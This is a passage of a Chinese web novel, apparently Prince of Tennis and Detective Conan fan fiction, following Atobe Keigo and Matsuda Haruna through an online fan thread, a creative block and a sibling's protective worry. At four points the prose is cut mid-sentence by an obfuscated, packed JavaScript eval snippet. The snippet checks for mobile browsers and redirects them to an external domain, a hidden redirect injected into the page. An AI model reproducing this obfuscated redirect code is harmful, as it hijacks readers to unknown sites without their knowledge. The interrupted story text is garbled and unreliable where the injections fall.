迹部景吾挺直身板,视线与忍足侑士齐平:“那是之前,现在我已经和你一样高了。” 忍足侑士立刻说道:“那正好,麻烦小景了。” 看着他这副虚弱样子,迹部景吾有些嫌弃:“你最近体能是不是偷懒了?” “苍天在上,我本来也不是体力型选手好吧。” “再说了,我和你对拉了这么久还能直立行走,充分证明了我在体能方面进步巨大。” “你少说几句,震得我耳朵疼,脑袋发晕。”迹部景吾说道。 忍足侑士见好就收,在嘴边比了个拉拉链的手势,安静了下来。 快到更衣室的时候,迹部景吾突然开口。 “对了,你明天记得去买那个《学生月刊》看。” “怎么,你把这家杂志买下来了?” “没有。只不过上面有登松田和我的合照。” “都登合照了,你还说没买下来?” “......忍足,我建议你以后还是少说话,多练练体能吧。” * 某社交软件的高楼。 【有没有看了最新一期《学生月刊》的人!!!都进来跟我一起磕cp!!!!】 楼主:如标题,楼主本人是《学生月刊》的忠实粉丝,从国小开始就一期不落地订购。虽然现在已经荣升为社畜,但还是保留下来订阅的习惯。 听说今天的最新一期,他们采访了最近超火的冰帝食堂系列的项目负责人,所以楼主一拿到杂志,就直奔那页。 结果采访没看进去,光顾着欣赏漂亮妹妹的盛世美颜了。 话不多说,先给大家上图!!! 漂亮妹妹单人照.jpg 楼主仔细看了看,确认妹妹是素颜无误了哈。 素成这样还能这么唇红齿白,睫毛浓密到自带眼线,真的绝了! 好不容易欣赏完漂亮妹妹,打算看看采访。结果一扭头又看到了妹妹和冰帝学生会长的合照,我直接化身为CP粉!!! 漂亮妹妹坐在沙发上轻抬下巴,学生会长站在妹妹旁边,眼神不看镜头但却落在她的身上啊啊啊啊!!!! 我直接磕生磕死!!! 简直就是女王和永远忠诚于她的骑士的既视感!!! 1L:看了看了!CP粉加我一个!!他俩给我的感觉就是一个字——配!两个字——好pay!!三个字——非常pay!!! 2L:看完照片的我belike——爸爸妈妈,我出生啦! 4L:们破看书的闻着味儿就来了。根据照片简单分析一下,男生暗恋女生基本没跑了。 5L:也不一定是喜欢吧,也许只是凑巧低头了呢? 6L:楼上没谈过恋爱吧,男生这眼神都快拉丝了...搁小说里,下一步就是嘿嘿嘿嘿... 8L:书签关键词我都给想好了——势均力敌,天作之合,双强。以后结婚了,就再加上从校服到婚纱。 9L:这不比那些电视剧好看??? 10L:我靠我靠我靠靠!!男生这个眼神绝了,纯爱战士应声倒地。 11L:第一次在照片里看出来了小说中描写霸总的那种眼神扇形图——两分欣慰+三分认真+五分深情。 12L:漂亮妹妹的眼神绝了,好有攻击力,好有野心的眼睛。感觉能穿破屏幕直视到我心里。 13L:服了,这都咋长的。妹妹的双眼皮比我的眼睛都大。 24L:有点人脉,最近某玩具大厂新出的食堂玩偶系列,就是这位妹妹参与设计的哦。 25L:啊啊啊啊啊啊真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266290|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗!!!!我超爱那个系列的!!!! 26L:现在的高中生都这么牛了吗???真的受够这种上不如老,下不如小的日子了!!! 30L:这有什么好吹的?冰帝的二代又来花钱营销了? 31L:楼上的酸味隔了二里地都能闻见,看给你急得。 32L:30L的眼睛不要了的话可以捐了,文稿里明明都写了,这位漂亮妹妹就是普通家庭,单纯是因为成绩好才被冰帝用巨额奖学金挖过去的。 33L:接着吹,冰帝这种贵族学校,里面学生大部分都是纨绔子弟,年级第一又没有什么含金量。 34L:花钱上这个杂志是打算出道了? 35L:不是,冰帝好歹是东京偏差值很高的牛校之一吧,怎么年级第一被楼上几个说得一文不值的样子。 36L:楼上几个的嘴要是闲得话,赶紧去我们村口把厕所掏了,省得搁这儿叽歪叽。 37L:杂志社是主动去采访妹妹的好吧,而且人家通篇都没有出道想法哈。反而是一直在强调冰帝的奖学金很丰厚,鼓励大家报考,感觉像在完成学校给的宣传任务hhhhh。 40L:不是,怎么他们学校的学生都这么好看??感觉和我们普通人都不在一个图层。 41L:我不信,这个世上竟然有这么帅的男高吗???一定是假的。 42L:这位冰帝的学生会长姓迹部,没错,就是那个迹部... 43L:真的受够了!!!老天奶,你根本没把我当孙女看!!!! 44L:爽了。再有钱也会在学业上被压当万年老二,遇到喜欢的女生也不敢表白。 50L:懂了。感觉妹妹和这个会长的合照是他用权势搞上去的,一些莫名其妙的占有欲是吧... 51L:代了。 52L:虽然不知道是什么,但也先代一下。 63L:羡慕冰帝的人,天天都能跟追剧似的看他俩。 64L:如果班上有这么对帅哥美女,每天早八上学的心情都能缓解一点。 69L:他俩结婚的那天楼里的人记得过来说一声。我到时候好去投胎重开,感觉他俩精神状态都好稳定的样子。 作者有话要说: 感谢在2024-02-0521:59:14~2024-02-0717:43:49期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:Sofa8瓶;非常感谢大家对我的支持,我会继续努力的! 17. 第 17 章 杂志正式出售的时候,松田春奈美滋滋地多买了几本,一本拿回去和家人炫耀,一本拿回去看。 至于记者小姐给她寄得那本样刊,她打算收藏起来留作纪念。 迹部景吾私下里买了一箱子,直接密封存好,放到自己的书房里。 他把收到的杂志样刊同收集的古籍放在了一起,存到了特意订制的玻璃书柜里。 至于两人杂志上的那张合照,他用手机拍了下来,存到了手机的秘密文件里—— 命名为有朝一日。 有朝一日,希望他内心的这些渴求可以不必只存在于只有自己知晓的角落。 * 冰帝的奖学金虽然足够丰厚,但是条件也同样严苛。 尽管目前她和三井集团的合作收获颇丰,但松田春奈清楚地知道什么对自己才是最重要的。 为了不让平时成绩拖后腿,她最近同时兼顾画稿和复习两项任务,难免有些分身乏术。 用脑过度导致的直接后果就是——松田春奈感觉自己现在已经找不到灵感,画不出来了。 而三天后,就是最后一轮画稿的截止日期。 她中午火速吃完饭,回到办公室苦大仇深地面对着平板发呆。 迹部景吾抬眼看她时,她的脸正皱成一团,眼神无光,嘴里无声地念念叨叨,面上写着四个大字——生无可恋。 “你喜欢玫瑰吗?” 听到对面的声音,松田春奈托着下巴,缓缓将脑袋转了个角度,视线正对上迹部景吾的眼睛。 “冰帝有个玫瑰园,如果你感兴趣的话,可以去那里转转,也许能找到点灵感。” “我可以给你当向导。”想了想,他私心补充道。 松田春奈有些心动,刚想答应。 她垂眸看了眼交稿倒计时,紧迫感一下子蹿到了嗓子眼,顿时失去了兴趣。 “算了,我还是在平板上电子拜佛就好。” 迹部景吾处于好奇,侧头瞥了一眼,只见屏幕上是一张拼凑了东西方各种神佛图片的组合图。 第一次见这种场面,他有些震惊:“松田,你这是…在干什么?” “我在祈求上天给我一点画图的灵感。”松田春奈一边说,一边用右手食指在桌沿上敲击。 “那你敲手指是?” “就地取材,就当敲木鱼了。” 迹部景吾:“……” 他大受震撼,他大为不解。 虽然他没有任何宗教信仰,但在国外的时候,也看过在教堂做礼拜的人。 像她这样的混合拜法,真的是平生仅见。 松田春奈一脸恬淡地继续赛博做法。 由于她过于淡定,反而把这种离谱的行为衬出了一丝靠谱。 迹部景吾开始迟疑了,可能是自己对这个圈子不够了解,他安慰自己道。 他继续虚心请教:“那你这样…有用吗?” 松田春奈幽幽道:“大概是拜的神仙还不够多,所以目前还没起作用。” 迹部景吾感觉自己此时槽多无口:“有没有一种可能…”不是你拜的神仙不够多,而是方式出了错。 但当他和松田春奈四目相对时,迹部景吾很是识时务地把后半部分咽下去了。 松田春奈当然知道自己这么做没什么用处,但万一呢? 保不齐哪位神仙大姐天使大哥看她可怜,就会下凡为她指点迷津,让她免受卡稿之苦。 前几次的作品大受欢迎,与信心和账户上的数字一齐增加的,还有她肩上无形之中的压力。 松田春奈开始不可避免地担心,自己下一次的作品会不会像之前那样成功。 下笔的时候,难免有些迟疑,也不像之前那样轻松写意。 更何况,她现在要画得还是最后压台的盲盒款。 这几天,她画了又删,删了又画。 却总找不到一开始那种平和的心境。 迹部景吾在平板上点了几下,找出了一份资料,然后把它推到松田春奈面前:“前几天三井集团更新了他们公司今年的第一季度财报。” “三井集团第一季度营收为1.62万亿日元,同比增长67.5%,经营利润同比增长54.8%,净利润同比增长76.3%。” 松田春奈怔怔地看着他,少年的声音沉稳有力,慢慢给她带来慰藉。 看着松田春奈终于提起了一丝精神,迹部景吾觉得这招有用,于是说得更加卖力。 “我还看了三井集团上个季度和本季度的销售安排,大部分的工作计划都是一样的。而最大的变数——” “就是你推荐并且做稿的这个食堂联名玩偶。” 他的嗓音如同上好的丝绸,华贵柔和,每一个字词都透露出来强大的自信。 “而这,大部分都是你的功劳。” “松田,你已经做得足够好了。” 听到这儿,松田春奈的眼眶突然不受控制地开始发热,鼻头发酸。 她赶紧低下头,深吸一口气,缓解内心的情绪。 松田春奈接过平板,仔细地查看了三井集团的季报,以及最近这几月的销量情况。 有了对比,她的心里终于松下一口气。 看完之后信心大增,她打算把平板还给迹部。一抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266291|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现他的视线还停留在自己身上。 迹部景吾没想到她会忽然抬头,没做防备,偷看被抓了个正着。 他像是眼里进了飞虫一样,慌张极了,快速眨了好几下眼睛。 松田春奈被他的神情逗笑。 她的肤色极白,虽然刚刚忍住了没有落泪,但眼睛周围和鼻尖仍留有淡淡的嫣红,色调漂亮得像是生在极寒雪地里的红梅。 和刚才的强颜欢笑不同,迹部景吾能看出来此时的她已然眉目舒展,郁结不在。 “迹部,谢谢你。”松田春奈真心实意地说道。 少女定定地瞧着他笑,温柔的像朵春日枝头迎风绽放的迎春花。 刚刚被泪水润泽过的双眸潋滟多情,巧笑倩兮,顾盼生辉。 迹部觉得自己喉咙有点干,不敢多看:“不客气,我们是朋友的…对吧?” 说到最后,他的尾音有点发飘,明显有些不自信。 没办法,谁让两人当初的那句“朋友”是他强求来的,所以在这方面总会有些不自信。 松田春奈一推桌子,起身走到他身旁。 迹部景吾有些局促地站起来,努力向后缩了缩,想要保持社交距离。 松田春奈又向前一大步,迹部感觉自己快要不能呼吸了。 她身上的香气先是像游丝一样缠绕着他,紧接着就凿开了一条缝,顺势钻到了自己身体里面。 越是想忽略,就越是不自觉地去关注。 他觉得自己像是惊鸿一瞥中爱上美杜莎的凡人,即使知道被她注视之后会被石化成雕像,也要飞蛾扑火地去要一个永恒。 松田春奈没有发现他的奇怪之处,兀自继续着自己的动作。她握住他的双手,郑重地晃动了三下。 “迹部,请你相信自己的人格魅力。没有人会拒绝你的友谊的。” “包括你吗?” “当然!” 迹部景吾心中的巨石终于落地,那些压在他心头多日的忐忑不安,此刻都随着这句话而消散。 虽然他没有信仰,但也想在此时大喊哈利路亚。 西西弗斯在这一刻,终于被他的上神宣判解除惩罚。 作者有话要说: 宝宝们,新年快乐!祝大家新的一年能不劳而获,无功受禄,坐享其成,直接暴富!感谢在2024-02-0717:43:49~2024-02-1023:59:28期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:Sofa19瓶;我们班10瓶;582113012瓶;绘梨衣啊啊啊1瓶;非常感谢大家对我的支持,我会继续努力的! 18. 第 18 章 迹部景吾充满“资本主义”的安慰对松田春奈很是有效。 她一扫之前的卡顿,灵感大爆发,埋头在桌前“库库”画稿。 就算是有了思路,她也没把平板收起来。 而是继续把那张东西方神仙拼盘图当作屏保,支在桌子上,放到一抬眼就能看见的地方。 迹部景吾见状问道:“你不是有灵感了吗,怎么还摆这个?” 松田春奈头也不抬地答道:“万一收起来就没有了呢?我现在之所以能灵感喷发,说不定也有我刚刚赛博做法的一部分原因呢。” 迹部刚想吐槽,就被松田春奈的下一句话堵住了。 “也许就是因为我祈求上苍的心灵过于真诚,终于他们被听见了,所以才派迹部你来鼓励我,让我心想事成。” 这一记直球来得太过突然,让迹部景吾瞬间失语。 他摸了摸耳朵,好吧,看来成为朋友也不全是好处。 虽然闲聊的时候能让她卸下心防,畅所欲言。但这种直白的表达也会让自己滋生更多的贪念。 迹部景吾佯装不在意,却用她可以听见的声音,小声咕哝道:“迷信不可取。” “我这顶多叫选择性迷信。” “那又是什么?” “对我有好处的就信;反之就不信。” “……” 松田春奈和朋友打趣斗嘴的时候,幽默又有梗,声音清澈得像是从石缝里汩汩流出的山泉。 迹部景吾还沉浸在自己刚刚晋级为真朋友的得意中,一边兴奋,一边惶恐。 担心这是场随时就想要醒来的美梦,所以总想引逗她说更多的话,来证实一种真实感。 想方设法的抛话题,努力营造出一种自己在和她闲聊的状态。 只要听见她的声音在自己耳边回荡,他就像是在沙漠里见到了绿洲的旅人,心里甜滋滋的。 松田春奈低着头赶稿,右手一直在平板上来回滑动。 她浓密的头发如同云朵般轻盈,从她的肩膀处坠落。为了不遮挡视线,她把头发往耳后别了好几次。 但由于头发太厚,只要她稍微动一下,发丝总会不经意间地滑到前面来。 迹部景吾看在眼里,右手放在第一格抽屉处来回犹豫。 自从松田春奈在这儿办公开始,他就已经提前准备好了女生平日里会用到的所有日常用品。 上到她睡午觉可能会盖的毯子,但由于学生会工作一直很忙,目前还没用过。 下到发箍发绳等零碎饰品,还特别有心机的每样都买了两个,满足自己拥有情侣同款的念想。 他无法看到她的全部表情,只能通过眉眼部分来推测她的心情。 眼见着松田开始皱眉,眉心处攒起一个尖尖,迹部立刻拉开抽屉,装作找东西的样子:“嗯?我这里怎么有个发箍?” 松田春奈没带皮筋,被头发搞得正心烦。听到这句话后,立刻竖起耳朵,眼睛pikapika地看向他,问道:“迹部,你能把发箍借我用一下吗?我忘带发绳了。” 迹部景吾顺理成章地递给她。 松田春奈一拿到手,就觉得发箍做工精美,右侧甚至还有几个翩翩欲飞的蝴蝶,十分逼真,不知道是用什么材质做得。 她来冰帝只有几周的时间,对各种奢侈品还处于模糊朦胧的阶段。就算别人在她面前炫耀,她也看不出来牌子。 只是大概知道包和衣服可能会有大牌,但对这种饰品是完全没有概念的,所以松田春奈戴得完全没有心理负担。 看着自己精心挑选的发饰,在她的发间安静呆着,迹部的心里很是满足。 他终于理解为什么父亲的工作那么繁忙,还是会抽出时间经常去拍卖现场为母亲带回各种宝石。 巨龙虽然喜欢亮晶晶的宝藏,但也会沉迷于打扮爱人的乐趣。 “这都是学生会的福利,沙发旁边的那个柜子里放的都是女性用品,需要的话可以随时去拿。”迹部景吾说道,“这个发箍估计是工作人员整理的时候落下了。” 没等松田开口,迹部就一秃噜将话全说了出来,不给她任何一点误会自己的可能性。 松田春奈完全没往别的方面想,她的朋友本就不多,另一个还是同性。所以在处理异性好友的态度上,还不是很熟练,只好凭感觉先照搬和宫崎优子的相处模式。 在她看来,既然大家已经是朋友了,那么就代表关系已经固定下来,没有别的可能性了。 “嗡嗡嗡”的一阵手机声传来。 松田春奈一抬眼皮,发现是自家哥哥的电话。 她画得正入神,不想被打乱思路。直接伸手挂断了电话,给他回了讯息解释道:“刚有灵感,正在画稿,放学再聊。” 松田阵平一看消息,脑海中的警报立刻拉响了。 自从他上警校开始,除了周末休假回家,每天雷打不动按时按点给她发送“上学日报”。 内容涵盖今天学了什么,食堂吃了什么,和同期做了什么,以及又被教官罚了什么。 总的来说,和小学生写得日记差不了多少。 还得是低年级的那种。 松田春奈知道他的意思。 自从自己来了冰帝以后,他总是担心她在这里受欺负。 笨拙地想通过写小学生日记的这种方式,和自己互换学校日常。 松田春奈也确实如他所愿地照做了。 每天收到“警校日记”之后,她先是批复个“已阅”,然后再吐槽他几句,最后说下自己今天又干了啥。 今日份的兄妹情就算维护成功了。 昨天松田春奈因为手感不顺,没心情和他贫嘴,只是草草回复了个“1”就结束对话。 松田阵平预感哪里不对,追问她怎么了,松田春奈三两句话告诉了他。 但架不住松田阵平疑心病发作,总觉得她是在隐瞒什么。 为了让确保她真的没事,他一边让萩原研二去发短信试探她,另一边直接和父母打电话沟通。 双管齐下,最后得出的结论和松田春奈说得一样——单纯是因为灵感问题。 松田阵平想了一夜还是放心不下,甚至急得在警校着开始啃指甲。单方面认定她就是遭遇校园霸凌了,所以才会性情大变。训练的时候也是心不在焉,总控制不住地去想现在她是不是正在被人欺负。 虽然有萩他们帮他使眼色救场,但还是被鬼冢教官抓住,狠狠罚了他,让他端正态度。 然而他还是一副魂不守舍的样子。 中午吃饭的时候,萩原研二安慰他:“叔叔阿姨不是告诉你了吗,春奈妹妹没事,就是没有灵感而已。” “不可能,春奈她就不是那样的人。”松田阵平反驳道,“她那么咸鱼,根本不会为了学校里的事影响心情。” 萩原研二哑然,这使他更加相信自己的判断。 松田阵平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266292|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休假回家的时候,松田春奈只告诉他自己现在进了学生会,并没有说自己参加的项目还有分红的事情,为的就是打算把他心仪已久的FBI最新发售的炸弹模型送给他,当作惊喜。 这款模型一上线,他就天天抱着电脑对它在那里流口水,活像个无法控制自己延迟进食的拉布拉多。 每天都去网站看它什么时候降价,去各种论坛里蹲守看能不能蹲到二手。 松田春奈的分红一到账,就在官网上给他订购了一个,估摸着这几天应该也快到了。 松田父母给松田春奈专门开了一个账户,冰帝的奖学金和三井集团的玩具分红都由她自己管理。 他们从不干涉。 警校管理严格,在校期间只有晚上的时候才能用电子产品。萩原研二他们看着松田阵平一幅坐不住凳,吃不下饭的样子,凑到一起低声给他出主意。 降谷零:“你中午回宿舍打个视频电话,先确定一下春奈的状态,说不定是你在自己吓自己。” 萩原研二附和道:“春奈妹妹的武力值你也是知道的,普通男生不是她的对手。” 松田阵平点点头,趁其他人没注意,溜回了宿舍,火急火燎地给松田春奈打电话。 第一遍被挂断之后,松田阵平满脑子都是自己想象中的悲惨画面。腿软得站不住,靠坐在床的侧面,立刻给她打第二遍。 松田春奈看哥哥这么执着,以为他有什么急事,起身去外面接电话。 视频一接通,松田阵平立刻捧着手机仔细观察。 唇红齿白,眼神灵动,气色比他自己好多了,一看就不像受了委屈的样子。 松田阵平这才放下心,伸手敲敲大腿,让自己放松。 “你什么时候成劳模了?对学校的工作这么上心?” “因为冰帝会给钱。” “......行吧,是我高估你了。” 松田春奈歪头去看他身后宿舍的布置,头上的发箍blingbling的很是显眼。 松田阵平眯起眼睛,问道:“我怎么不记得你有这么一个发箍?” 她的物欲极低,东西都是用坏再仍。松田阵平看不下去的时候,也会顺手清理她坏掉的发饰,然后再补充上新。 他很确定,这么一个造型精致,价格不菲的发箍绝对不是她会买的东西。 “你说这个啊,这不是我的,是迹部准备的学生会福利。”松田春奈伸手摸了摸,“今天我正好忘带发绳了,所以拿来用一下。” 松田阵平看着上面的钻石,冷哼一声,和她简单说了几句就挂断了视频。 等到他去和萩原研二他们集合的时候,脸色还是很差,阴沉得如同雷暴前的天空。 萩原研二上前问道:“小阵平,你怎么这么个表情?春奈妹妹没事吧?” 大家围成一圈,担心地看着他。 “她没事。”松田阵平脸上像是要下刀子,“但是她们学生会长要有事了。” 作者有话要说: 迹部,给你个建议——R!U!N!感谢在2024-02-1023:59:28~2024-02-1411:10:48期间为我投出霸王票或灌溉营养液的小天使哦~感谢投出地雷的小天使:692003311个;感谢灌溉营养液的小天使:Renegade30瓶;6920033110瓶;鹤5瓶;江惜晨、小小黄1瓶;非常感谢大家对我的支持,我会继续努力的! 19. 第 19 章 这几天松田春奈抓紧一切时间赶稿,忙得头不抬眼不睁。 忙归忙,但只要一想到自己马上就可以解放,终于不用每天苦哈哈地埋头狂画。 不用就算没有灵感,也要硬着头皮坐在桌子前发呆。 不用抓耳挠腮地求神拜佛,祈求漫天神佛施舍给自己一点点灵感。 她就忍不住想仰天大笑三声。 为了赶上周五的最后截稿日期,松田春奈昨晚熬夜做最后的细节调整,直到凌晨才睡下。 导致今天早上睡得太沉,连闹钟声都没听到。 被爸妈生拉硬拽地弄醒之后,火速冲进卫生间开始极限洗漱。 最后连头发都顾不上梳,把校服一套,就一路火花带闪电地往学校赶。 一大早就被迫跑了个一千米,这可把松田春奈累了个够呛,好在没有迟到。 最近因为太忙,网球方面她偷了懒没有按时练习,耐力虽说和之前相比下降了些,但整体还行,起码跑到学校之后喉咙里没有血锈味。 她把跑乱的领结摆正,想起宫崎优子对她吐槽过,在立海大早上如果快迟到了的话,冲刺跑的时候还需要注意仪容仪表,不然被抓到还会扣风纪分。 所以她都是一边按着制服,一边跑。双臂甩不起来,很限制她的发挥。 阿弥陀佛,上帝保佑。冰帝目前还没有这么变态的规定。 跨过冰帝的校门,松田春奈顿时如释重负。 好耶,平时分保住了。 和其他贵族学校相比,冰帝的管理算是比较严格的。如果迟到超过三次以上,就会取消学生的评优评先资格。 为了保住奖学金,松田春奈硬生生地改掉了自己踩点上学的习惯。就是担心自己哪天马失前蹄,得不偿失。 反正距离第一节课还有些时间,她放缓脚步,慢慢地平复心跳。 网球场上传来部员训练的声音,周围还有啦啦队在大喊加油,热闹非凡,像是热血电影里的一角。 远远地从教学楼这边望过去。网球场外面人头攒动,乌压压的一片,根本看不到场内人的身影。 松田春奈没过去凑热闹,转身上楼。走到楼梯拐角处的时候,鬼使神差地,她忽然停下了脚步。 顺着窗户望下去,她能够清晰地看到球场上各人的动作。 很奇怪,明明下面的正选都穿着一样的衣服。但松田春奈就是能一眼认出来迹部景吾。 骄傲张扬是他的表象,体贴绅士是他的内在,举手投足间散发出强大的气场。 简直就是小说里的主角人设。 松田春奈把目光移开,尝试着去认网球部的其他正选。 红头发的那位向日君又在做高难度杂耍了,忍足侑士好像被罚跑圈了,还有一个正选在椅子上光明正大的睡觉。 那看来这位就是芥川君没跑了,话说他真的不是迹部的亲戚吗? 摸鱼摸得也太光明正大了吧,还是说他们家在冰帝的董事席位能和迹部他们家比肩啊? 松田春奈构思脑内小剧场正起劲,忽然听到有人上楼的脚步声。她一低头,和三井树温润的目光正巧对上,两人打了个照面。 见到她,三井树公式化的笑容变得真切了几分:“松田,好久不见。” 虽然两人的班级只差了一层楼,但是也很难碰上,除非他因为工作原因直接去办公室找她。 “好久不见三井,你先别走。我把底稿发给你之后,昨天晚上又补充了点细节。”松田春奈把侧身转正,赶忙把书包背到身前,“我没把平板带回家,所以直接在纸上画得。” “我保证,这绝对是我最后一次修改了。” 前几次的画稿,明明她每次都会提前几个小时上传终稿。然而上传之后,又会不断冒出新的想法,只好又在这基础之上不断地修改。 改到最后,又变成卡着deadline的时间点提交。 三井树已经习惯她这种做法,没有露出半点惊讶。 他三步并作两步,迈上最后几个楼梯低头接过。 倏忽间,他的视线落到她的右手上。高强度的赶稿让她的指尖泛起了红,透着股糜烂的艳,看起来好不可怜。 三井树把画稿收起来,不动声色地顺着她一开始的站位向下望去,然后笑道:“松田,你喜欢打网球吗?我这里有几张东京巡回网球赛的票,你可以找朋友一起去看。” 想到哥哥跟自己聊天的时候,说他的网球技术在降谷零的指点下进步不少,松田春奈没有拒绝。 巡回网球赛什么的,听起来就很高级。 她打算到时候让哥哥去见识一下什么才是真正的高手,省得叫他天天嘚瑟。 要不是冰帝管得严,校内不能进外人。这张票都不需要,她高低把他带到网球部转一圈开开眼。 等到两人要分别的时候,三井树抬手指了指自己的头发,提醒道:“松田,你的头发——” 松田春奈脑子突然闪过了一道光,看向窗户的倒影。 自己本就蓬松的自来卷在睡了一晚,外加经历了早上的极限奔跑之后,更是毫无发型可言,活像一个毛发打结的狮子毛小狗。 小狗震惊!小狗炸毛!小狗崩溃! 她本来还纳闷,三井树的目光怎么老是往自己的头发上飘,现在破案了。 松田春奈的脸色爆红,试图用手去梳理。一想到刚刚自己是顶着这么一个造型和他聊天,她就有点生无可恋。 “三井,下次碰到这种事,麻烦一见面的时候就告诉我!” “遵命。”三井树浅笑道,“放心,完全没有影响到你的形象。” “...真的很难想象,我在你心目中一直以来都是怎样的存在。” 光用手顺太慢了,松田春奈匆匆跟他告别,打算去卫生间对着镜子沾水打理。 迹部景吾顺着楼梯上来的时候,明明还能听见些他们俩谈笑的余音,看见的却是她匆匆离开的背影。 裙摆随着她的跑动,翻动着的褶皱像朵绽放的花。 一直目送到看不见她的身影,三井树这才收回目光,和同样如此的迹部景吾点头打了个招呼。 每次看到他们两个单独相处的时候,迹部景吾内心都会特别焦虑,千方百计地想要知道他们刚刚聊了什么。 为了不让他看出来自己的不安,迹部意有所指道:“真巧,我怎么记得,这边的楼梯不是离三井君班最近的。怎么今天突然从这边上楼了?” 三井树温和道:“确实不是,只是感觉今天从这边走的话,也许能见到想见的人。” “......”迹部景吾内心大喊晦气,现在分明就剩下他们两个人,还搁这里装什么呢。 “那这么看来,我比三井君要幸运一点,每天都能见到想见的人。”迹部景吾皮笑肉不笑地说道。 不就是膈应人吗,谁不会啊?! “是吗?那周末也可以吗?”三井树绵里藏针地问道。 迹部景吾顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266293|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定,本周末也按时去米花町户外网球场蹲点报道。只要他去得勤,就不信遇不到。 反正上次周末见到了,四舍五入一下,就代表每个周末都能见到。 迹部换算完毕,假惺惺地问道:“当然,三井君不会见不到吧?” 三井树轻笑一声,在寂静的楼道里隐有回声,迹部景吾被他这一笑搞得心里突突直跳,烦躁得很。 “说不定这周就能见到了。”三井树意味深长地看了迹部一眼,“毕竟,机会都是靠自己争取来的。” 迹部景吾的声音冷淡下来,懒得和他再兜圈子:“那我就给你个建议,机会最好是争取到手之后再说出来。” “不然,很容易凭空消失。” * 松田春奈在卫生间梳了好久才把头发彻底梳开。两侧的还比较好说,尤其是后面的头发,又厚又不容易够到。搞到最后,额头上甚至出了一层薄汗。 她回到座位上时,还觉得手臂有些酸酸的,比经历了晨跑之后的腿还累。 她打量了一下旁边的同桌,明明他晨练的时间比自己更长,怎么精气神比自己还好。 整个人神采奕奕,像是被打了一层蜡,感觉在发光。 “迹部,你是怎么保持每天这么精力充沛的?”松田春奈羡慕地问道。 迹部景吾想了想,认真答道:“大概是遗传,我家里人都这样。” 满世界飞到处去处理业务的爸,以及当过前间谍的妈。强强联手,很难有萎靡的下一代。 “好吧。”得到答案的松田春奈彻底死心。 原以为能凭借保健品走点捷径,没想到还是得靠锻炼来长体力。 一想到每天还要继续挥拍练习,她的眼神黯淡下来,感觉前途无望。 真的好讨厌一切流汗的运动! 松田春奈的前额湿漉漉的,头发还在偶尔往下滴水,她伸手随意向后一捋。接着从口袋里掏出来一个发卡,夹了上去。 迹部景吾看着发卡上的蝴蝶,眼神一亮:“这个发卡很...衬你。” “谢谢。我也是上次戴发箍的时候发现,带着蝴蝶的饰品很漂亮。” 迹部景吾心头微动,这是不是代表,只要自己做得够多,她就会被不自觉地被影响到呢。 想到刚刚和三井树带着火药味的对话,他期期艾艾道:“松田,你这周末还去打网球吗?” “去啊,还得继续练下去。怎么着也得打过我哥才行。”松田春奈说道。 迹部景吾松了口气,看来她刚刚和三井树只是单纯说了工作,根本没有讨论周末去哪儿玩。 三井树那家伙刚才还和他一副欲说还休让人遐想的语气,装什么呀? 以后绝不能再被那家伙给扰乱心绪了,他暗自下决心。 松田春奈想了想自己手中的票,又想了想迹部的网球技术,犹豫要不要请他去看。 邀请他去吧,人家万一打得比下面的选手还好,那多无聊,还得在那里干坐着。 不邀请的话,万一他喜欢看呢... 松田春奈抽出一张票,递给他,问道:“迹部,三井刚刚给了我几张网球巡回赛的票,你有兴趣吗?” “当然,多谢邀请。”迹部景吾无比感谢自己多问了那么一句。 哼,争取来的机会又怎么样? 照样给你弄没了。 作者有话要说: 每次作话都不知道说什么,那就先祝大家吃好喝好身体好~ 20. 第 20 章 周五放学。 冰帝学园门口。 和上周五一模一样的时间地点。 不同的是,这次来接松田春奈的队伍又壮大了些许。 除了伊达航以外,松田阵平带着其余三人雄赳赳气昂昂地站在学校门口当门神。 准确地说,是他一人负责站岗,其余负责放哨。 